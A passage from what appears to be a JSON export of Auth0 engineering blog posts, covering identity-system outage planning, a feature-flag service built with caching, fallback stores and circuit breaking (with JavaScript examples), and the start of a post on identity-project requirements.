timing. You may want to warn your support team in advance of any certificate rotation so that if anything stops working they are aware of this possible cause.\n\n### Downtime of Your Identity Infrastructure\n\nDon’t forget to make a plan for downtime. Nothing boots you and your users off the Happy Path faster than unplanned downtime. Identity infrastructure controls access to many other systems, making it especially important to plan for identity systems outages You will want to have automated monitoring in place to be notified if any component of your identity management infrastructure goes down. You will want your monitoring to include checking end-to-end function by sending synthetic user authentication transactions in addition to basic monitoring of each individual server.\n\nYou should include your identity management infrastructure in your [Business Continuity Planning](https://en.wikipedia.org/wiki/Business_continuity_planning). This valuable process will help you identify dependencies between components and how to minimize disruption caused by the failure or unavailability of systems or processes. Be sure to identify and plan for a variety of disasters, such as system and network outages, regional disruptions caused by environmental disasters or pandemic illness, corruption of data, or abrupt termination of services if a vendor suddenly goes out of business. Remember that your dependent applications may be inaccessible if identity is down.\n\nAs part of your disaster and failure planning efforts, consider whether any functions necessary during a crisis require alternative solutions. For example, if administrative access to systems is controlled by the identity platform, it may be appropriate to have alternative access paths enabled for such administrative access so administrators can access systems during an outage. Check to make sure that during an identity platform outage users will still have a way to report issues and that your helpdesk staff will still be able to receive issues and respond to customers. You do not want a failure of your identity system to take out your application and then also take out the ability of your helpdesk staff to support and communicate with customers during an outage!\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"Include your identity management infrastructure in your Business Continuity Planning to help you identify dependencies between components and how to minimize disruption caused by the failure or unavailability of systems or processes.\"/\u003e\n\n### Plan for Collaborative Support\n\nSpeaking of support, if you utilize any external components as part of your identity services, you will need to plan for the reality that troubleshooting issues with customers and/or remote identity providers often needs to be a collaborative affair. Both parties should know how to contact each other, what to check before contacting the other party, and what information to have on hand for an effective troubleshooting session. Some common things to include in a support troubleshooting checklist are:\n\n- Check for network outages between solution components\n- Check all solution components are up\n- Questions to ask to Identify scope of the problem\n - Impact to many users or just a few?\n - Impact to all device types/browsers or just a few?\n - Is the problem repeatable or does it only occur intermittently?\n - How far through the authentication sequence does a user get?\n- Capture an HTTP trace of the attempted activity\n- Have mock users to test with that can be shared with a partner\n- Contact information for component owners in case of questions\n\n## Recap\n\nAdvance planning to ensure that your team is prepared to respond to failures is essential. The above list should give you a good head start on the types of changes and failures that may impact identity-related projects. Make a full list of the changes and potential failures that apply to your identity systems or dependent applications and craft a response plan. Remember to educate all parties involved in the response and conduct periodic tests to make sure everyone knows what to do and has the information and tools they need. With a bit of advance effort, you can ensure a good customer experience and significantly reduce the stress level when a failure occurs.\n\n![Illustration of how to have a succesful Identity Management Project Part 2](https://images.ctfassets.net/23aumh6u8s0i/5KXn0Eu2mte3yrYdlN4C93/b4d393d317b3775427766b4dc59d2732/idm-project-part2-dismantle-01)\n\nIn the next part of this series, we are going to cover the security aspects of identity-related projects and how to do your due diligence to make sure your IDM project is secure. In case you missed Part 1 of this series, see [how to create realistic IDM project plan](https://auth0.com/blog/how-to-have-a-successful-idm-project/).\n\n\u003cinclude src=\"asides/AboutAuth0\" /\u003e\n","dateCreated":"2018-11-28T09:05","readTime":17,"formattedDate":"Nov 28, 2018"},{"title":"Progressive Service Architecture At Auth0","authors":[{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"6nc2ZBdGPm0a4S2GkXSEf4","type":"Entry","createdAt":"2021-03-22T08:18:24.514Z","updatedAt":"2023-11-01T17:44:05.194Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":8,"revision":3,"contentType":{"sys":{"type":"Link","linkType":"ContentType","id":"author"}},"locale":"en-US"},"fields":{"path":"dan-arias","name":"Dan Arias","avatar":{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"6WmRCtZz0eDp6KE7pw8cJ3","type":"Asset","createdAt":"2021-03-22T08:29:52.872Z","updatedAt":"2021-03-22T08:29:52.872Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":2,"revision":1,"locale":"en-US"},"fields":{"title":"37590801?s=460\u0026v=4","description":"37590801?s=460\u0026v=4 avatar","file":{"url":"//images.ctfassets.net/23aumh6u8s0i/6WmRCtZz0eDp6KE7pw8cJ3/7329ebb6302316cab8f55705100abab5/37590801_s_460_v_4","details":{"size":10772,"image":{"width":298,"height":298}},"fileName":"37590801?s=460\u0026v=4","contentType":"image/jpeg"}}},"lastUpdatedBy":"robertino.calcaterra@auth0.com","email":"dan.arias@okta.com","twitter":"http://twitter.com/getDanArias","github":null,"linkedin":null,"isPopular":true,"personalWebsite":null,"type":"Auth0 Employee","jobTitle":"Staff Developer Advocate","description":"Howdy! 🤠 I do technology research at Auth0 with a focus on security and identity and develop apps to showcase the advantages or pitfalls of such technology. I also contribute to the development of our SDKs, documentation, and design systems, such as \u003ca target='_blank' rel='noopener noreferrer' href='https://github.com/auth0/cosmos'\u003e\u003cstrong\u003eCosmos\u003c/strong\u003e\u003c/a\u003e.\u003cbr /\u003e\u003cbr /\u003eThe majority of my engineering work revolves around AWS, React, and Node, but my research and content development involves a wide range of topics such as Golang, performance, and cryptography. Additionally, I am one of the core maintainers of this blog. Running a blog at scale with \u003cstrong\u003eover 600,000 unique visitors per month\u003c/strong\u003e is quite challenging!\u003cbr /\u003e\u003cbr /\u003eI was an Auth0 customer before I became an employee, and I've always loved how much easier it is to implement authentication with Auth0. Curious to try it out? \u003ca href='https://auth0.com/signup' data-amp-replace='CLIENT_ID' data-amp-addparams='anonId=CLIENT_ID(cid-scope-cookie-fallback-name)'\u003e\u003cstrong\u003eSign up for a free account\u003c/strong\u003e\u003c/a\u003e ⚡️."}}],"path":"progressive-service-architecture-at-auth0","heroImage":{"url":"https://images.ctfassets.net/23aumh6u8s0i/56S9oDWKVeNY8AIszkZvw1/7d6794f3d31d4eedb5a3d3699e796e5c/default","size":{"width":1764,"height":1584}},"description":"Learn how to build a mature service architecture for high availability by creating its topology progressively.","category":["Engineering","Best Practices","Scalability"],"tags":["architecture","engineering","enterprise","scalability","high-availability","monitoring","feature-flags","feature-toggles","mongoDB"],"postContent":"\n\nIn this blog post, we are going to discuss how the Auth0 Site Reliability team, led by **Hernán Meydac Jean**, used a progressive approach to build a mature service architecture characterized by high availability and reliability.\n\nAt Auth0, we manage different features for our clients. We use feature flags to enable features into codebases without breaking anything or having to change the code. As defined by [Pete Hodgson](http://blog.thepete.net/about/), feature flags, or feature toggles, are a flexible and powerful technique that [allow developers to modify the behavior of a system without changing its code](https://martinfowler.com/articles/feature-toggles.html). A feature flag lets a development team turn features on and off in the system even after it is live in production.\n\n## Motivation for a Feature Flags Router Service\n\nTo help us manage feature flags, our SRE team created a **feature flags router** service. As defined by [Martin Fowler](https://martinfowler.com/articles/feature-toggles.html), a feature flags router can be used to dynamically control which code path to a feature is live. The router lets us centralize all the feature flags logic in a single place allowing different services and products to retrieve the same information at any time to turn on and off feature flags across different functions.\n\n![Flags Router Architecture](https://images.ctfassets.net/23aumh6u8s0i/A2xHacMuGa6gCe8VQNWVo/9ce0442499d1766afb0027925d985618/01-flags-router-architecture)\n\nOur vision for this feature flags router service is to make it a generic service that can be used by multiple products and services within and outside our organization. Because of the extensive number of clients that this generic service will support and the massive amount of requests these clients will generate, we needed to design this service with an architecture that makes it easy to scale and promotes high availability.\n\n## Engineering an SDK for Feature Parity\n\nWith this in mind, the SRE team came up with a feature flags SDK designed to act as an abstract client so that we can use any kind of provider or database with it. The goal of the SDK is to have the same language and the same syntax across services. Therefore, in order to retrieve a feature flag value, we don't need to access a database directly or make a direct request to a server; instead, we simply use the SDK which offers the same code everywhere. If we make changes to the logic behind the SDK, we just need to bump up version of the SDK to apply the updates.\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"Learn how the @auth0 SRE team created a standardized library to help them manage feature flags and promote feature parity.\"/\u003e\n\nThe final design of this client was the result of a progressive service architecture that provides us with fallbacks, self-healing, high availability, and high scalability. We started with a basic topology that gave the client direct access to the database and ended with a sophisticated topology that integrates a self-healing strategy for the feature flags router service.\n\nLet's explore the system topology of each stage of this process as it was explained by Hernán during one of our internal engineering talks. These topologies can be abstracted to use any kind of provider and different databases.\n\n\u003e Would you like to tackle reliability and scalability challenges? We are currently looking for new teammates to [**join our SRE team**](https://auth0.com/careers/job/senior-software-engineer-site-reliability:e90541c4-d211-4d47-be6d-e0f1dc2673be?level-origin=applied\u0026level-source=auth0blog)!\n\n## Connecting Directly to the Database\n\nThis is the scenario where the client connects directly to a database such as MongoDB. In essence, this is the most basic configuration to have for the service. We simply connect the client to any database of our choice and retrieve data \u0026mdash; in this case, feature flags. The client could be limited to have read-only permissions to the database but write operations could be added if necessary.\n\n![Connecting the service client directly to the database](https://images.ctfassets.net/23aumh6u8s0i/GhUtdb58nlZHen2X7RQmV/3aab49faf0d5cb87af88ca3bf1ab768c/02-connecting-the-service)\n\n\u003e Our current client for our feature flags service is read-only.\n\nLet's look at some of the pros and cons of this architecture.\n\n### Pros\n\n- Easy to set up.\n- Doesn't require additional infrastructure.\n- Configurable for [Auth0 appliances](https://auth0.com/docs/appliance).\n - An Auth0 appliance is an Auth0 deployment that exists in a dedicated area of Auth0's cloud, your cloud, or your own data center.\n - For example, a self-hosted Auth0 instance doesn't need to connect to the Auth0 server that manages the service; instead, it can connect to the database directly.\n\n### Cons\n\n- No [failover](https://en.wikipedia.org/wiki/Failover).\n - If the database is down, the service is also down.\n- Database stress occurs if the client application doesn't enforce limits.\n- Higher security complexity.\n - You have to grant database access to a service.\n - It requires you to open permissions, create security groups, etc. to control access levels to the database by services.\n\nAlthough this basic approach is straightforward, we thought of a better approach: integrate the concept of a _store_ in the service architecture.\n\n## Using a Data Store\n\nTo augment the previously discussed architecture, we added the concept of a store. A store is basically a service provider. It can be a primary or a secondary provider that we can connect to different services. In turn, a service can be an API or a direct database connection. The core principle here is that we can use the stores to design a fallback strategy and optimize service availability. For example, the secondary store serves as a fallback for any kind of incident that we could have with the primary store to guarantee data access for the service.\n\n![Service architecture implementing a primary and secondary store](https://images.ctfassets.net/23aumh6u8s0i/1IbTfLNZaEqbfQ5mddowG8/994da8630dc45cd8122d54743e001b89/03-service-architecture)\n\nLet's look at the architecture flow of this topology:\n\n- The client tries to connect to the primary store to use an API to retrieve data.\n\n![Service client tries to connect to the primary store](https://images.ctfassets.net/23aumh6u8s0i/1prv772HvNajP6rXqo2Cgi/233b7849db86f2b8b92774731b6b668e/04-primary-secondary-stores)\n\n- If API is down for whatever reason, after 5 attempts, a logic circuit is opened.\n- The open circuit takes the client request to the secondary store.\n- The data is then retrieved from the secondary store.\n\n![Service client request routed to secondary store](https://images.ctfassets.net/23aumh6u8s0i/1JdGGtMNSCMJnLtnDr8rEz/81ab3ea83b584cf2da194aa9b09a4f1a/05-primary-secondary-stores-secondary)\n\nThis flow may incur performance degradation or other problems but at least the service is operational. Additionally, the stores have the ability to self-heal. Once the primary store is up and running again, the circuit is closed and we go back to using the primary store.\n\n### Pros\n\n- Circuit-breaking to handle failures.\n- Automatic fallback and restoration.\n- Scalable with company growth by abstracting underlying providers.\n- Services with different access can query data.\n\n### Cons\n\n- Additional infrastructure and maintenance required.\n- Additional cost.\n- Difficult to perform a [capacity plan](https://en.wikipedia.org/wiki/Capacity_planning) for both stores.\n - When the primary store is down, all the requests go to the secondary one.\n - You must understand the capacity of the secondary store and the traffic on its region; otherwise, this store will have a huge performance impact on the system.\n - Capacity planning is not easy.\n - Depends on traffic, use cases, client applications.\n - Must account for applications having an internal cache or not.\n - Must strategize how services are scaled.\n- Need to balance stores to avoid major outage when the circuit is open.\n - Avoid stampedes while the circuit is open.\n - Requests are going to flood the secondary store and may crash it.\n\nTo solve the problems present in this topology, we needed to add another layer: the cache. Let's explore that next.\n\n## Adding Caching to the Stores\n\nIn this stage, we now have three layers: cache, primary store, and secondary store.\n\n![Adding caching to the service architecture](https://images.ctfassets.net/23aumh6u8s0i/74VOXPoFGNIVYXy4fj0dSn/ff91590956cd0412fce71ae350fea4fe/06-adding-caching)\n\nLet's understand how these layers interact with each other by analyzing the architectural flow of this topology:\n\n- The client first retrieves data from the cache, such as Redis.\n\n![Service request retrieving data from cache](https://images.ctfassets.net/23aumh6u8s0i/6GasF46CTEOmTgntR1uerQ/5dbb3cfec0c88afa919445885c4e3676/07-cache-stores-cache)\n\n- If data is not in the cache, the request goes to the primary store.\n- When the primary store provides the data response, it also updates the cache.\n- Subsequent requests will then retrieve that data from the cache.\n\n![Service request retrieving data from primary store and primary store updating cache](https://images.ctfassets.net/23aumh6u8s0i/1KHdaMKEL7UFD00iZ79N1J/033c8cda9e155dafbc32c1f77bfc5679/08-cache-stores-primary)\n\n- If the cache is up but doesn't have the needed value (the cache is outdated) and the primary store is down, the request is served by the secondary store which acts as a fallback.\n\n- If both the cache and the primary store are down, the request is also served by the secondary store.\n\n![Service request retrieving data from secondary store as fallback](https://images.ctfassets.net/23aumh6u8s0i/63HKAlYVg5FEjThveOJrUv/7d35d714bee61ee9ad2cc091886b9aad/09-cache-stores-secondary)\n\n- To create a service outage, all three layers need to be down: cache, primary store, and secondary store.\n\n![Service outage created when primary store, secondary store, and cache are down](https://images.ctfassets.net/23aumh6u8s0i/v0E5GhQTjncPZ0YkkJPbo/4a65459c208d29af5766fc58baa92338/10-service-outage)\n\nThis three-layer system model creates a high availability setup to keep the service up and running.\n\n\u003e We highly benefit from this architecture at Auth0, since we can keep some of our services operational in a similar way to our authentication server.\n\n### Pros\n\n- Faster response times.\n - Ideal for data that doesn't change much, such as feature flags in our case.\n - Great benefit to have flags cached.\n- Reduction of stress on stores.\n- Same benefits as stores (circuit-breaking, fallback, restoration).\n\n### Cons\n\n- Yet more infrastructure to add and maintain with additional cost.\n - You now need a distributed cache.\n- Another point of failure to consider.\n- Caching requires additional balance (proper [time to live (TTL)](https://en.wikipedia.org/wiki/Time_to_live) values, [cache invalidation](https://en.wikipedia.org/wiki/Cache_invalidation))\n- Same problems as stores in relation to capacity planning.\n\nThis is the most mature progression of the service architecture for our feature flags service. Part of its success is counting with a performant circuit-breaking mechanism that allows us to switch between the different layers of the model as needed. Let's explore more in-depth our current circuit-breaking strategy.\n\n## Circuit-Breaking\n\n[Circuit breaking is a design pattern](https://en.wikipedia.org/wiki/Circuit_breaker_design_pattern) implemented in software architecture and popularized by [Michael Nygard](https://twitter.com/mtnygard) in his book, [_Release It!_](https://pragprog.com/book/mnee/release-it). This pattern is used to detect system failures and prevent the system from attempting to execute operations that will fail during events such as maintenance or outages.\n\nAt Auth0, we implement the circuit-breaking pattern using a custom library created by our Head of Engineering, [José Romaniello](https://twitter.com/jfroma), called [disyuntor](https://github.com/auth0/disyuntor).\n\nOur engineers use this library to easily configure different paths for exceptions and problems:\n\n```javascript\nconst disyuntor = require('disyuntor');\n\nconst dnsSafeLookup = disyuntor.wrapCallbackApi({\n //This is used in error messages.\n name: 'dns.lookup',\n\n //Timeout for the protected function.\n // timeout: '2s',\n\n //The number of consecutive failures before switching to open mode\n //and stop calling the underlying service.\n // maxFailures: 5,\n\n //The minimum time the circuit remains open before doing another attempt.\n // cooldown: '15s',\n\n //The maximum amount of time the circuit remains open before doing a new attempt.\n // maxCooldown: '60s',\n\n //optionally log errors\n onTrip: (err, failures, cooldown) =\u003e {\n console.log(`dns.lookup triped because it failed ${failures} times.\nLast error was ${err.message}! There will be no more attempts for ${cooldown}ms.`);\n },\n\n onClose: (cooldown) =\u003e {\n console.log(`dns.lookup circuit closed after ${cooldown}ms.`;\n }\n\n // //optional callback to prevent some errors to trigger the disyuntor logic\n // //in this case ENOTFOUND is passed to the callback and will\n // //not trigger the breaker eg:\n // trigger: (err) =\u003e err.code !== 'ENOTFOUND'\n}, dns.lookup);\n\n//then use as you will normally use dns.lookup\ndnsSafeLookup('google.com', (err, ip) =\u003e {\n if (err) { return console.error(err.message); }\n console.log(ip);\n})\n```\n\nFor example, if we have a problem after 4 failures, we open the circuit and we go on a different path. For this path, you can have a recovery, a fallback, or any kind of preferred alternative in your code. Whenever the service trips the wire, using the `onTrip` method, we log an exception:\n\n```javascript\n// Configure protected functions with circuit-breaker\nconst disyuntorOptions = {\n name: \"client\",\n maxFailures: 4,\n cooldown: \"15s\",\n timeout: options.api \u0026\u0026 options.api.type === \"rest\" ? \"5s\" : \"1s\",\n trigger: err =\u003e {\n // increment the number of attempts only for transient errors\n return this._isTransientError(err);\n },\n onTrip: (err, failures) =\u003e\n agent.logger.error(\n { err },\n `An error occurred while reading from primary store after ${failures} attempts.`\n )\n};\n```\n\nThis is the basic configuration we have for our feature flags service. At every 4 failures, we open the circuit, go to the secondary store, and we have a cooldown of 15 seconds before we try to use the primary store again.\n\nOur service has a RESTful implementation using [HapiJS](https://hapijs.com/) and another one using [gRPC](https://grpc.io/). In the circuit-breaking configuration, we also specify a timeout whose length depends on the type of API request. For HapiJS, if servicing the request takes longer than 5 seconds, we automatically time out. For gRPC, the timeout is 1 second:\n\n```javascript\nconst disyuntorOptions = {\n //...\n timeout: options.api \u0026\u0026 options.api.type === \"rest\" ? \"5s\" : \"1s\"\n //...\n};\n```\n\nAdditionally, the timeout depends on the trigger:\n\n```javascript\nconst disyuntorOptions = {\n //...\n trigger: err =\u003e {\n // increment the number of attempts only for transient errors\n return this._isTransientError(err);\n }\n //...\n};\n```\n\nWe have to detect if we are experiencing a transient error or not. There are errors that warrant opening the circuit and others that don't. For example, in our feature flags service, an invalid flag is not an error that calls for opening the circuit. Instead, it is just a bad request from the client application.\n\nUsing `disyuntor`, this is how it looks to open the circuit:\n\n```javascript\n_getFlagsFromStore(entityId, flagsIds) {\n const self = this;\n return self.protectedGetFlags(entityId, flagsIds)\n .then(flags =\u003e { return flags; })\n .catch(err =\u003e {\n if (!self.stores.secondary || !self._isTransientError(err)) {\n // don't use fallback for non transient errors\n throw err;\n }\n agent.logger.error(err.error || err, 'getFlags.fromPrimaryStore.error');\n return self.stores.secondary.Entities.getFlags(entityId, flagsIds)\n .then(flag =\u003e { return flag; })\n .catch(err =\u003e {\n throw err;\n });\n });\n}\n```\n\n`disyuntor` creates a `Promise` to get the feature flags. If the `Promise` resolves, it returns the flags; otherwise, it goes into the `catch` block. Once there, we verify that we have configured a secondary store and that we are not experiencing a transient error and then retrieve the flags from the secondary store. Translating this into our final service architecture goes like this:\n\nFirst, we go to the cache:\n\n```javascript\n_getFlagsFromStore(entityId, flagsIds) {\n // ...\n}\n```\n\nIf the cache doesn't have the value, we go to the primary store, for example, our gRPC API:\n\n```javascript\n_getFlagsFromStore(entityId, flagsIds) {\n // ...\n return self.protectedGetFlags(entityId, flagsIds)\n .then(flags =\u003e { return flags; })\n .catch(err =\u003e {\n // ...\n });\n}\n```\n\nIf after 4 attempts the primary store fails to service the request, we go to the secondary store, which is MongoDB, to retrieve the flag:\n\n```javascript\n_getFlagsFromStore(entityId, flagsIds) {\n // ...\n return self.protectedGetFlags(entityId, flagsIds)\n .then(flags =\u003e { return flags; })\n .catch(err =\u003e {\n if (!self.stores.secondary || !self._isTransientError(err)) {\n // don't use fallback for non transient errors\n throw err;\n }\n agent.logger.error(err.error || err, 'getFlags.fromPrimaryStore.error');\n return self.stores.secondary.Entities.getFlags(entityId, flagsIds)\n .then(flag =\u003e { return flag; })\n .catch(err =\u003e {\n throw err;\n });\n });\n}\n```\n\nGoing to the secondary store is our last resource when we are having issues with our cache and primary store. It allows us to continue serving flags to all other services.\n\nFinally, let's look into our caching strategy a bit closer.\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"Learn more about circuit breaking: a design pattern to detect system failures and prevent the system from attempting to execute operations that will fail during events such as maintenance or outages.\"/\u003e\n\n## Cache\n\nFor caching, we simply add Redis as cache and create cache strategies without any complex configuration:\n\n```javascript\n\"use strict\";\nconst _ = require(\"lodash\");\nmodule.exports = class CacheConfigurator {\n constructor(strategies) {\n this.Strategies = _.extend(\n {\n redis: require(\"./redis-cache\"),\n memory: require(\"./memory-cache\")\n },\n strategies\n );\n }\n build(options) {\n if (!options) {\n return;\n }\n const strategy = this.Strategies[options.type];\n if (!strategy) {\n throw new Error(\"Unknown cache strategy \" + options.type);\n }\n return new strategy(options);\n }\n};\n```\n\nWe use a `CacheConfiguration` class that allows us to pick different caching strategies: a distributed cache, such as Redis, or an in-memory cache. Essentially, we initialize the SDK and specify which cache we want. The initialization strategy determines how the SDK will retrieve flag information from the cache:\n\n```javascript\n_getFlagFromCache(entityId, flagId) {\n return this.cache ? this.cache.getEntityFlag(entityId, flagId) : Promise.resolve();\n}\n```\n\nIf the cache is configured, we retrieve the flag from the provider; otherwise, return a `Promise`. If the cache misses, the request is handled by the primary store; otherwise, we return the value retrieved from the cache.\n\nWe have the freedom to extend our caching strategies. We could replace Redis with MongoDB as a distributed cache, for example. We can do the same for the primary and secondary stores. We could use PostgreSQL as a primary store, for example, or any other provider that meets our present and future requirements.\n\n## Managing Disaster Scenarios\n\nOur self-healing service architecture is simple and it allows us to implement disaster management solutions easily as we have seen:\n\n🛑 Cache times out.\n\n✅ Connect to primary store.\n\n🛑 Cache is down.\n\n✅ Connect to primary store.\n\n🛑 Primary store times out.\n\n✅ After a certain number of attempts, open the circuit to secondary store.\n\n🛑 Primary store is down.\n\n✅ After a certain number of attempts, open the circuit to secondary store.\n\n🛑 Secondary store is down.\n\n🙏 Pray… light a candle… everything is down!\n\nIdeally, the data that supports the service feature should be moved into its own database. In our case, this would mean moving our feature flags data into its own separate MongoDB instance with separate backups and monitoring.\n\n## Next Steps For Our Architecture\n\nWe are planning to perform the following infrastructure and system upgrades to further optimize our service architecture:\n\n- Improve caching strategies further.\n- Augment the size of our caching instances to have even better reliability in each region.\n- Introduce circuit-breaking at the cache layer.\n - In case Redis fails, we can then talk to a memory cache.\n- Memoize incoming requests for faster performance.\n - We could cache promises and return their resolution.\n\n## Conclusion\n\nWhy did we build our own feature flags service anyway? We wanted a hosted version to use different providers and for any Auth0 appliance. By building our own service we gained provider flexibility that we can tailor to our specific needs. We considered offerings such as LaunchDarkly but it did not meet our service requirements. What we like best about our feature flags service is that we can define the complexity level of the service layer by layer. In the future, we may consider open sourcing this project.\n\n\u003cinclude src=\"asides/AboutAuth0\" /\u003e\n","dateCreated":"2018-11-14T11:27","readTime":16,"formattedDate":"Nov 14, 2018"},{"title":"How To Have a Successful IDM Project","authors":[{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"5X1TFtn6dh8w7Awv1i4cFe","type":"Entry","createdAt":"2021-03-22T08:22:05.422Z","updatedAt":"2021-03-22T08:44:10.954Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":3,"revision":2,"contentType":{"sys":{"type":"Link","linkType":"ContentType","id":"author"}},"locale":"en-US"},"fields":{"path":"yvonne-wilson","name":"Yvonne Wilson","avatar":{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"72TGUR0waTmgxslAXLYzBw","type":"Asset","createdAt":"2021-03-22T08:44:09.729Z","updatedAt":"2021-03-22T08:44:09.729Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":2,"revision":1,"locale":"en-US"},"fields":{"title":"ec1c9350c3d2306e7c42b9307bea93de?s=480\u0026r=pg\u0026d=https%3A%2F%2Fcdn","description":"ec1c9350c3d2306e7c42b9307bea93de?s=480\u0026r=pg\u0026d=https%3A%2F%2Fcdn avatar","file":{"url":"//images.ctfassets.net/23aumh6u8s0i/72TGUR0waTmgxslAXLYzBw/3cc71ca89c60959ba47b3a31c59383c7/ec1c9350c3d2306e7c42b9307bea93de_s_480_r_pg_d_https_3A_2F_2Fcdn","details":{"size":38493,"image":{"width":480,"height":480}},"fileName":"ec1c9350c3d2306e7c42b9307bea93de?s=480\u0026r=pg\u0026d=https%3A%2F%2Fcdn","contentType":"image/jpeg"}}},"lastUpdatedBy":"Unknown during the migration","email":"yvonne.wilson@auth0.com","twitter":"https://twitter.com/ywilsonauth0","github":null,"linkedin":null,"isPopular":null,"personalWebsite":null,"type":"Former Auth0 Employee","jobTitle":"Strategic Operations and Technical Field Enablement Director","description":"I like working at Auth0 because I’m interested in how to scale a startup and training the next generation of identity experts."}}],"path":"how-to-have-a-successful-idm-project","heroImage":{"url":"https://images.ctfassets.net/23aumh6u8s0i/1NrZCydzdnebi7hvGkhmSH/4adb315cbaf0db450a6b4cb10e77810b/idm-project-01","size":{"width":1176,"height":1056}},"description":"Learn how to create a realistic project plan to have a good Identity Management project deployment.","category":["Engineering","Best Practices","IDM"],"tags":["idm","project","identity","deployment","identity-management","anomaly","security","progressive-profiling","login","sso","mfa","passwordless","sessions","deprovisioning","gdpr","privacy","compliance","logs"],"postContent":"\nPick up almost any book on project oversight and you’ll quickly see a pattern to advise about how to have a successful project. Certainly, all the usual advice, such as the items below, apply to identity-related projects.\n\n- Ensure the project has clearly defined objective and scope\n- Identify and obtain input from representative stakeholders\n- Define clear ownership and roles for all parts of the project\n- Create a realistic project plan based on stakeholder input\n- Track progress regularly to quickly identify causes of any delays\n\nThat is excellent advice, but in order to create a realistic project plan, you have to know what typically needs to be done for a particular type of deployment. What if your project team does not have that knowledge? A frequent cause of project issues and delays is simply not accounting for certain requirements. Many an Identity Management project has been delayed by overlooking requirements at the beginning.\n\nHave no fear \u0026mdash; this post will outline several of the most common oversights and pitfalls for identity projects and how to avoid them. These can be grouped into roughly three categories:\n\n- Identify requirements for the entire identity management lifecycle, not just logging in\n- Plan for identity failure and change, so you are ready for such events\n- Address security and compliance requirements\n\nIf you consider the above at the beginning of your project, you’ll have fewer surprises along the way to derail your project.\n\n![Illustration of how to have a succesful Identity Management Project](https://images.ctfassets.net/23aumh6u8s0i/5jn0njMm1bewSR23umVL05/7493c9c60e54aca5b61737fca77d3075/idm-project-dismantle-02)\n\n## Guidelines to Identify IDM Project Requirements\n\nThe first thing to check is that your requirements specification takes into account the entire identity management lifecycle. I often tell people that they’ll spend more time on implementing how to log out than how to log in, so they should define how logging out should work early in the project and allow plenty of time in a project plan for testing and implementation. Beyond logging in and logging out, there are several other requirements which may lead to unpleasant surprises and delays if forgotten at the beginning. The following list may help you surface requirements early on:\n\n### How Will User Accounts Be Created?\n\nWill users need to sign up or do they already exist somewhere else and need to be migrated? If users need to sign up, where will that occur, and will all information be collected at once or is [_progressive profiling_](https://auth0.com/docs/user-profile/progressive-profiling) needed? If users need to be migrated, consider that passwords are usually hashed and not transferable from one system to another as-is, necessitating a [_trickle-migration_](https://auth0.com/docs/users/migrations/automatic) approach or [_password reset._](https://auth0.com/docs/connections/database/password-change)\n\n### Will User Profiles Need to Be Synchronized?\n\nWill user profile information need to be synchronized between a system of record (authoritative source) and other points, such as application user stores? It simplifies operations if synchronization can be avoided but legacy systems may require this.\n\n### Username Uniqueness\n\nIdentify the attribute used to identify users when logging in as well as across all applications and ensure that the username identifier will be unique for all users. You'll need to especially consider any mergers and acquisition activity that could occur. This will help identify if any mapping of identifiers might be needed across systems.\n\n### How Will Users Log In?\n\nOkay, no one forgets this one, but the devil’s in the details. Be sure to think about what forms of authentication are appropriate for your use case: username and password? [_Passwordless_](https://auth0.com/passwordless) forms of authentication? If your application deals with sensitive data or transactions, is [_multi-factor authentication_](https://auth0.com/docs/multifactor-authentication/) appropriate?\n\n\u003e Auth0 Passwordless is a drop-in authentication system based on Email or SMS, that improves security and user experience. Check it out at [auth0.com/passwordless](https://auth0.com/passwordless).\n\n![Screen showing different passwordless authentication methods with Magic Link selected](https://images.ctfassets.net/23aumh6u8s0i/4y4Kb6Sx3JEwxEGaxTR5xU/49137e92bae8c15bfe3c48b1a35eeacb/magic-link)\n\n### What Devices Will Be Used?\n\nAuthentication flows do not work identically across mobile and desktop types of devices. Sadly, in this day and age, this is still a thing. Security configurations, such as browser configuration for trusted sites or mobile device management software can impact the use of cookies, fingerprinting and such \u0026mdash; all of which can impact authentication flows. Be sure to identify the devices that users will use and test across all of them early on in the development cycle.\n\n### Is Single Sign-On Needed?\n\nIf you offer multiple applications to users, should users be able to log in once and then access other applications without signing in again? If yes, be sure to consider whether all the applications in a [_single sign-on_](https://auth0.com/docs/sso/current) circle use the same authentication mechanism and user repository. If there are multiple user repositories, will authentication against any of them suffice for access to all the applications or are the requirements more granular?\n\n\u003e Auth0 supports [universal login](https://auth0.com/blog/authentication-provider-best-practices-centralized-login/) on customer apps. In contrast to embedded login, this offers increased security and a shorter setup time.\n\n![Auth0 Universal Login offerings](https://images.ctfassets.net/23aumh6u8s0i/21BR2xIUfU721nga9W1FqO/184597f0a961d89938bb9923b08e6a73/centralized-embedded-diagram)\n\n### Should Multi-Factor Authentication (MFA) Be Used and If So, When?\n\nMFA offers a higher level of authentication for better protection of sensitive assets. Be sure to consider if it will be used upon initial authentication or only when the user accesses more sensitive content/transactions. There are many forms of MFA available, so be sure to experiment with several and select a form that is suitable for your user population. Be sure to test the usability of the initial registration, as well as any reset processes needed if users change devices, phone numbers or any other aspect of the MFA flow. Cumbersome processes can cause user frustration and support headaches.\n\n\u003e [Learn everything about Multifactor Authentication (MFA)](https://auth0.com/learn/get-started-with-mfa/) and how you can start using it right now in your application.\n\n![Eanbling Multi-factor Authentication (MFA) from Auth0](https://images.ctfassets.net/23aumh6u8s0i/5aPgE6GMpGdmaThY8OOHth/a615c93e951b8b648431d86101b81033/enabling-mfa.png)\n\n### What Should Happen When the User Decides to Log Out?\n\nHandling clicks on the [_Logout_](https://auth0.com/docs/logout) button may be trickier than it seems, so pay attention to it early in the design. At a minimum, any session maintained by the application should be terminated. If an application delegates authentication to an external identity provider/authorization server, there may be additional sessions to terminate. Terminating those additional sessions, however, may pull 